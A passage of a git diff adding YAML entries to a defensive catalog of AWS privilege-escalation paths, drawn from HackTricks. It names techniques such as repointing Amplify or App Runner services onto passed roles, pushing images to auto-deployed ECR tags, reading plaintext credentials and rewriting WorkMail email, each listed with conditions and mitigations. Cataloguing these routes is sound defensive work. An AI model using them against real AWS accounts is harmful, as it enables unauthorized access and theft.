principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2tagresource-wafv2untagresource + technique: '**`wafv2:TagResource`, `wafv2:UntagResource`**' + reason: 'Documented impact: Resource tampering, information leakage, cost manipulation and operational disruption. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2createrulegroup-wafv2updaterulegroup-wafv2deleterulegroup + technique: '**`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`**' + reason: 'Documented impact: Unauthorized access, data breaches, and potential DoS attacks. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2createwebacl-wafv2updatewebacl-wafv2deletewebacl + technique: '**`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`**' + reason: 'Documented impact: Unauthorized access, data breaches, and potential DoS attacks. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2associatewebacl-wafv2disassociatewebacl + technique: '**`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`**' + reason: 'Documented impact: Removes or replaces WAF filtering for the selected application resource. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2createipset--wafv2updateipset-wafv2deleteipset + technique: '**`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`**' + reason: 'Documented impact: Unauthorized access and block of legitimate traffic. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2deleteapikey + technique: '**`wafv2:DeleteAPIKey`**' + reason: 'Documented impact: Disable CAPTCHA protections or disrupt application functionality, leading to security + breaches and potential data theft. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2putloggingconfiguration--iamcreateservicelinkedrole-wafv2deleteloggingconfiguration + technique: '**(`wafv2:PutLoggingConfiguration` & `iam:CreateServiceLinkedRole`), `wafv2:DeleteLoggingConfiguration`**' + reason: 'Documented impact: Obscured visibility into security events can hinder incident response and facilitate + covert malicious activity within AWS WAF-protected environments. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrgetoidcinfo--disclose-the-sso-client-secret + technique: '`wickr:GetOidcInfo` — disclose the SSO client secret' + reason: This heading concerns reading or exporting data via `wickr:GetOidcInfo` — disclose the SSO client secret; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrgetopentdfconfig--disclose-the-opentdf-client-secret + technique: '`wickr:GetOpentdfConfig` — disclose the OpenTDF client secret' + reason: This heading concerns reading or exporting data via `wickr:GetOpentdfConfig` — disclose the OpenTDF client + secret; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrlistusers--recover-an-invited-users-enrollment-code + technique: '`wickr:ListUsers` — recover an invited user''s enrollment code' + reason: This heading concerns reading or exporting data via `wickr:ListUsers` — recover an invited user's enrollment + code; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#workmailmessageflowgetrawmessagecontent--putrawmessagecontent--steal-or-rewrite-in-transit-email + technique: '`workmailmessageflow:GetRawMessageContent` / `PutRawMessageContent` — steal or rewrite in-transit + email' + reason: 'Documented impact: Theft of email bodies, attachments, credentials, password-reset links and business + data while messages transit WorkMail; or silent integrity attacks such as changing payment instructions, links, + attachments, recipients''... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-post-exploitation/README.md#workspacesupdateworkspaceimagepermission--share-a-custom-image-with-an-attacker-account + technique: '`workspaces:UpdateWorkspaceImagePermission` — share a custom image with an attacker account' + reason: 'Documented impact: Cross-account exfiltration of a golden WorkSpace image and everything baked into it + (applications, secrets, domain-join credentials, internal data). This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-post-exploitation/README.md#workspacesmodifysamlproperties--modifycertificatebasedauthproperties--weaken-desktop-authentication + technique: '`workspaces:ModifySamlProperties` / `ModifyCertificateBasedAuthProperties` — weaken desktop authentication' + reason: 'Documented impact: Gain or broaden interactive access to users'' virtual desktops (and the internal network + they sit on) by weakening or repointing WorkSpaces authentication. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-thin-client-post-exploitation/README.md#thinclientupdateenvironment---redirect-devices-to-another-desktop-provider-or-idp-endpoint + technique: '`thinclient:UpdateEnvironment` - Redirect devices to another desktop provider or IdP endpoint' + reason: The section documents the resource or service effect of `thinclient:UpdateEnvironment` - Redirect devices + to another desktop provider or IdP endpoint, without a reusable AWS principal credential or arbitrary execution + under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md#iampassrole-cloudformationcreatestack-and-cloudformationdescribestacks + technique: iam:PassRole, cloudformation:CreateStack, and cloudformation:DescribeStacks + reason: The PassRole plus CreateStack route is modeled by aws-cloudformation-passrole-createstack; DescribeStacks + only reads stack outputs. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md#codestarcreateproject-codestarassociateteammember + technique: codestar:CreateProject, codestar:AssociateTeamMember + reason: AWS CodeStar was discontinued; this legacy CreateProject and AssociateTeamMember flow is no longer an + available privilege path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md#iampassrole-codestarcreateproject + technique: iam:PassRole, codestar:CreateProject + reason: AWS CodeStar was discontinued; this legacy PassRole and CreateProject flow is no longer an available privilege + path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#also-relevant-configputremediationconfigurations--iampassrole-classic-passrole + technique: 'Also relevant: `config:PutRemediationConfigurations` + `iam:PassRole` (classic PassRole)' + reason: The PutRemediationConfigurations plus PassRole variant is included in aws-config-passrole-automatic-remediation; + this subheading is a cross-reference, not a new target. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2modifyinstanceattribute + technique: '`ec2:ModifyInstanceAttribute`' + reason: 'Umbrella section: user-data replacement plus StopInstances and StartInstances is modeled by aws-ec2-modifyinstanceattribute-userdata; + replacing security groups is network exposure, not role impersonation.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotregistercertificatewithoutca--register-an-attacker-generated-byo-certificate-as-a-device-identity + technique: '`iot:RegisterCertificateWithoutCA` → register an attacker-generated (BYO) certificate as a device + identity' + reason: This is the offline-certificate alternative in aws-iot-passrole-rolealias-certificate; registration alone + creates an IoT certificate but does not assume an IAM role without AttachPolicy, a role alias, and PassRole. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#aws---passrole-to-mlanalytics-data-access-roles + technique: AWS - PassRole to ML/Analytics Data-Access Roles + reason: Page introduction; the service-specific PassRole combinations are represented in mldataaccess.yaml. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#eventbridge-connection-credentials-without-statesrevealsecrets + technique: EventBridge Connection credentials without `states:RevealSecrets` + reason: This subheading describes disclosure of an EventBridge Connection application credential through the already + modeled TestState role path; states:RevealSecrets is not required and no additional AWS principal is gained. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#timestreamcreatescheduledquery--iampassrole--run-sql-and-downstream-writes-as-a-scheduled-query-role + technique: '`timestream:CreateScheduledQuery` + `iam:PassRole` — run SQL and downstream writes as a scheduled-query + role' + reason: The passed role can only run Timestream SQL and configured table, SNS and S3 error-report writes. It does + not vend role credentials or arbitrary AWS API execution; the impact is bounded data delegation. + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#timestreamexecutescheduledquery--trigger-an-already-stored-role-workflow + technique: '`timestream:ExecuteScheduledQuery` — trigger an already stored role workflow' + reason: ExecuteScheduledQuery replays a fixed SQL query with fixed role and destinations; the caller cannot change + the role, SQL, or output location, so no attacker-controlled principal gain is established. + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md#execute-apiinvoke--iam-protected-application-data-access + technique: '`execute-api:Invoke` — IAM-protected application-data access' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-connect-customer-profiles-enum.md#live-least-privilege-caveat-for-listdomains + technique: Live least-privilege caveat for `ListDomains` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-cost-explorer-enum.md#read-a-known-budget-with-budgetsviewbudget + technique: Read a known budget with `budgets:ViewBudget` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-cost-explorer-enum.md#credit-records-through-legacy-aws-portalviewbilling + technique: Credit records through legacy `aws-portal:ViewBilling` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-datazone-enum.md#iampassrole-boundaries + technique: '`iam:PassRole` boundaries' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#ssmgetdocument--command-content-disclosure + technique: '`ssm:GetDocument` — command-content disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#autoscalingdescribelaunchconfigurations--user-data-disclosure + technique: '`autoscaling:DescribeLaunchConfigurations` — user-data disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#ec2describeinstanceattribute--ec2-user-data + technique: '`ec2:DescribeInstanceAttribute` — EC2 user data' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#ssmgetopsitem--operational-data-disclosure + technique: '`ssm:GetOpsItem` — operational-data disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-image-builder-enum.md#imagebuildergetcomponent--component-source-disclosure + technique: '`imagebuilder:GetComponent` — component-source disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-greengrass-enum.md#greengrassgetcomponentversionartifact--presigned-component-download + technique: '`greengrass:GetComponentVersionArtifact` — presigned component download' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-location-service-enum.md#geogetdeviceposition--recover-a-devices-latest-location + technique: '`geo:GetDevicePosition` — recover a device''s latest location' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-location-service-enum.md#geogetdevicepositionhistory--recover-movement-history + technique: '`geo:GetDevicePositionHistory` — recover movement history' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-q-in-connect-enum.md#wisdomgetcontent--download-knowledge-base-documents + technique: '`wisdom:GetContent` — download knowledge-base documents' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md#sesgetemailtemplate--template-content-disclosure + technique: '`ses:GetEmailTemplate` — template-content disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-simpledb-enum.md#read-one-known-item--sdbgetattributes + technique: Read one known item — `sdb:GetAttributes` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-simpledb-enum.md#query-or-enumerate-a-domain--sdbselect + technique: Query or enumerate a domain — `sdb:Select` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-transfer-family-enum.md#permission-and-iampassrole-boundaries + technique: Permission and `iam:PassRole` boundaries + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-translate-enum.md#translategetterminology--download-a-custom-terminology-file + technique: '`translate:GetTerminology` — download a custom terminology file' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-translate-enum.md#translategetparalleldata--download-a-parallel-translation-corpus + technique: '`translate:GetParallelData` — download a parallel translation corpus' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md#schedulergetschedule--target-input-disclosure + technique: '`scheduler:GetSchedule` — target-input disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md#pipesupdatepipe-revalidates-iampassrole + technique: '`pipes:UpdatePipe` revalidates `iam:PassRole`' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/account.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/account.yaml new file mode 100644 index 0000000000..453262ad49 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/account.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Account Management privilege escalation techniques. +# Source: hacktricks-cloud aws-account-management-privesc/README.md (rev 171e422299). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/amplify.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/amplify.yaml new file mode 100644 index 0000000000..aa4f31618c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/amplify.yaml @@ -0,0 +1,114 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Amplify privilege escalation techniques. +# Source: hacktricks-cloud aws-amplify-privesc/README.md. + +- id: aws-amplify-updateapp-passrole + provider: aws + service: amplify + title: Assign a passed service role to an Amplify app build + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifyupdateapp--iampassrole--repoint-the-app-onto-a-more-privileged-role + source_revision: 171e422299 + summary: The source may cause a controlled Amplify build or backend deployment to perform an operation with a passable service role if it can update the app, start a branch job and control the effective operation. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: amplify.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: amplify.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting amplify.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - amplify_service_role_build_effect_unverified + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions on the PassRole grant may restrict passing roles to Amplify. + - id: code_execution_path + description: Code must run under the new role, through a build with a changed buildSpec/environment (service role) or a deployed SSR runtime the source controls (compute role); automatic builds or webhooks can replace StartJob. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Amplify roles with iam:PassedToService=amplify.amazonaws.com and specific role ARNs; restrict amplify:UpdateApp. + references: + - https://docs.aws.amazon.com/amplify/latest/APIReference/API_UpdateApp.html + - https://docs.aws.amazon.com/amplify/latest/userguide/amplify-SSR-compute-role.html + notes: The source needs at least one existing app it can update (amplify:UpdateApp on that app). Both iamServiceRoleArn and computeRoleArn require iam:PassRole on the target role. A build command alone does not establish that it received the service role's credentials. A concrete edge requires fresh reviewed evidence that the effective controlled build or backend operation actually ran a useful action under the exact role; repository amplify.yml may override app buildSpec. + +- id: aws-amplifybackend-createtoken-studio-admin + provider: aws + service: amplifybackend + title: Mint an Amplify Studio administrator login for a Gen 1 backend + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetapp-amplifybackendcreatetoken--mint-an-amplify-studio-login + source_revision: 171e422299 + summary: The source can obtain an Amplify Studio application-administration session over the data model, auth and configuration of Gen 1 backends it can mint Studio logins for. + requires: + all_of: + - action: amplifybackend:CreateToken + resource: "{target.amplifybackend_token_arn}" + - action: amplifybackend:CreateToken + resource: "{target.amplifybackend_backend_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: amplifybackend + scope: same_account + aggregate_as: "Amplify Studio administrators in {account}" + grants: [Amplify Studio administrator (aws-amplify-admin)] + preconditions: + - amplifybackend_create_token_backend_scope + conditions: + - id: gen1_backend_with_studio + description: The app must have an existing Amplify Gen 1 backend environment, and the issued challenge must be accepted by its Studio sign-in flow. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict amplifybackend:CreateToken/GetToken to Studio administrators and alert on CreateToken from unexpected principals. + notes: Application-plane administration only (Studio session as the fixed aws-amplify-admin Cognito user); it does not return IAM credentials. Targets are collected Amplify apps with Gen 1 backend environments; accounts whose apps or backend environments were not collected keep an unresolved placeholder. CreateToken takes the known app ID directly and returns a one-time challenge code, so amplify:GetApp is not a prerequisite. The Service Authorization Reference lists both backend and token resource types for amplifybackend:CreateToken; a token-only policy leaves backend authorization unresolved. + +- id: aws-amplify-updateapp-passrole-ssr + provider: aws + service: amplify + title: Repoint an Amplify SSR compute role and invoke controlled SSR code + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifyupdateapp--iampassrole--repoint-the-app-onto-a-more-privileged-role + source_revision: 171e422299 + summary: The source can execute controlled SSR code as a passable compute role of an updatable app. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: amplify.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: amplify.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting amplify.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - amplify_compute_role_ssr_effect_unverified + conditions: + - id: controlled_ssr + description: The existing app must deploy attacker-controlled SSR code and an HTTP request must reach that SSR route under the new compute role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Amplify roles with iam:PassedToService=amplify.amazonaws.com and specific role ARNs; restrict amplify:UpdateApp. + references: + - https://docs.aws.amazon.com/amplify/latest/APIReference/API_UpdateApp.html + - https://docs.aws.amazon.com/amplify/latest/userguide/amplify-SSR-compute-role.html + notes: No StartJob is needed for the SSR request. A concrete edge requires fresh reviewed evidence that controlled SSR code received a request and ran a useful action under the exact compute role; otherwise the route remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/appconfig.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/appconfig.yaml new file mode 100644 index 0000000000..5b8bf00982 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/appconfig.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS appconfig privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/appflow.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/appflow.yaml new file mode 100644 index 0000000000..737096cd9f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/appflow.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS appflow privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/apprunner.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/apprunner.yaml new file mode 100644 index 0000000000..ac91599fcb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/apprunner.yaml @@ -0,0 +1,177 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS App Runner privilege escalation techniques. +# Source: hacktricks-cloud aws-apprunner-privesc/README.md. + +- id: aws-apprunner-passrole-createservice + provider: aws + service: apprunner + title: Create an App Runner service with a passed instance role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#iampassrole-apprunnercreateservice + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of passable roles trusting tasks.apprunner.amazonaws.com by running + code it controls in a new App Runner service using that instance role. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: apprunner.amazonaws.com + - action: apprunner:CreateService + resource: '*' + target: + kind: aws_role + selector: + trust_allows_service: tasks.apprunner.amazonaws.com + scope: same_account + aggregate_as: Roles trusting tasks.apprunner.amazonaws.com in {account} + outcome: workload_execution + preconditions: + - apprunner_existing_customer_account + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + - id: image_source + description: The source needs a code repository connection or an image it can supply (public ECR image or private + ECR with an access role). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on App Runner instance roles with iam:PassedToService and specific role ARNs. + references: + - https://docs.aws.amazon.com/apprunner/latest/dg/security_iam_service-with-iam.html + notes: Existing App Runner customers can still create services. A recorded service establishes prior use; an empty service inventory does not establish whether AWS still allows this account to create one. + + +- id: aws-apprunner-updateservice-passrole + provider: aws + service: apprunner + title: Repoint an existing App Runner service to a passed instance role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerupdateservice + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of passable roles trusting tasks.apprunner.amazonaws.com by updating an existing App Runner service to use that instance role together with code or a start command it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: apprunner.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: tasks.apprunner.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting tasks.apprunner.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - apprunner_existing_image_service_update + conditions: + - id: existing_service + description: An existing image-based App Runner service must be RUNNING or CREATE_FAILED and covered by apprunner:UpdateService. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict apprunner:UpdateService to deployment pipelines and iam:PassRole on App Runner instance roles with iam:PassedToService and exact role ARNs. + references: + - https://docs.aws.amazon.com/apprunner/latest/api/API_UpdateService.html + notes: Companion of aws-apprunner-updateservice (keeps the existing role, no PassRole). UpdateService cannot switch a code-based service to an image; code-based services need a separately verified attacker-controlled code or start-command path. +- id: aws-apprunner-updateservice + provider: aws + service: apprunner + title: Change the start command of a service with an existing instance role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerupdateservice + source_revision: 6fb9ac51fd + summary: The source can change the start command of an existing image-based App Runner service that runs with the target role. + requires: + all_of: + - action: apprunner:UpdateService + resource: '*' + target: + kind: aws_role + selector: + trust_allows_service: tasks.apprunner.amazonaws.com + scope: same_account + outcome: workload_execution + preconditions: + - apprunner_existing_instance_role_update + conditions: + - id: deployment_execution + description: The updated service must successfully deploy and run the chosen start command. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit App Runner UpdateService to trusted deployment operators for services with privileged instance roles. + references: + - https://docs.aws.amazon.com/apprunner/latest/api/API_UpdateService.html + notes: This route keeps the existing instance role; no new role is passed. The recorded DescribeService response must bind InstanceRoleArn to the exact image service. Code-based services need a separately verified controlled command path. + +- id: aws-apprunner-mutable-ecr-autodeploy + provider: aws + service: apprunner + title: Push a replacement image to a watched App Runner tag + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#mutable-private-ecr-tag-with-automatic-deployments + source_revision: 1098b391c4 + summary: The source can publish a new image to the exact private ECR tag that an existing App Runner service automatically deploys with the target instance role. + requires: + all_of: + - action: ecr:GetAuthorizationToken + resource: '*' + target: + kind: aws_role + selector: + trust_allows_service: tasks.apprunner.amazonaws.com + scope: same_account + outcome: workload_execution + preconditions: + - apprunner_mutable_ecr_autodeploy_instance_role + conditions: + - id: next_deployment + description: The source must actually push a runnable image to the watched tag and App Runner must successfully deploy it. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ECR image-push permissions on repositories watched by App Runner and use immutable tags or manual deployments for privileged services. + references: + - https://docs.aws.amazon.com/apprunner/latest/dg/manage-deploy.html + - https://docs.aws.amazon.com/AmazonECR/latest/userguide/image-push-iam.html + notes: The source does not need App Runner or PassRole permissions. The same-account private ECR tag, auto-deployment flag, effective tag mutability or permission to change it, image-push permissions and instance role must all join exactly. + +- id: aws-apprunner-plaintext-credential + provider: aws + service: apprunner + title: DescribeService returns plaintext environment credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerdescribeservice--read-plaintext-runtime-variables + source_revision: 57bd5c07df + summary: A verified exposed AWS credential for another principal can be read by the source. + requires: + all_of: + - action: apprunner:DescribeService + resource: '*' + target: + kind: aws_user + selector: + aws_challenge_fact: aws-apprunner-plaintext-credential + scope: same_account + outcome: credentials + grants: + - Exact IAM user authenticated by a reviewed usable access key in the named resource + conditions: + - id: exact_credential_subject_resource + description: A reviewed evidence record must bind the source IAM principal, exact readable resource + and action, a read and authentication as the named IAM user, and an exact action and resource denied + to the source but allowed with that key; the source must hold effective read permission. + confidence: conditional + severity: high + mitigation: Restrict the listed action to approved operators and protect exposed credentials. + notes: Only a direct IAM user access key is modeled. STS and application sessions remain held because + their effective rights may be narrower than the role or application identity. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml new file mode 100644 index 0000000000..ae7491a2b3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml @@ -0,0 +1,294 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or 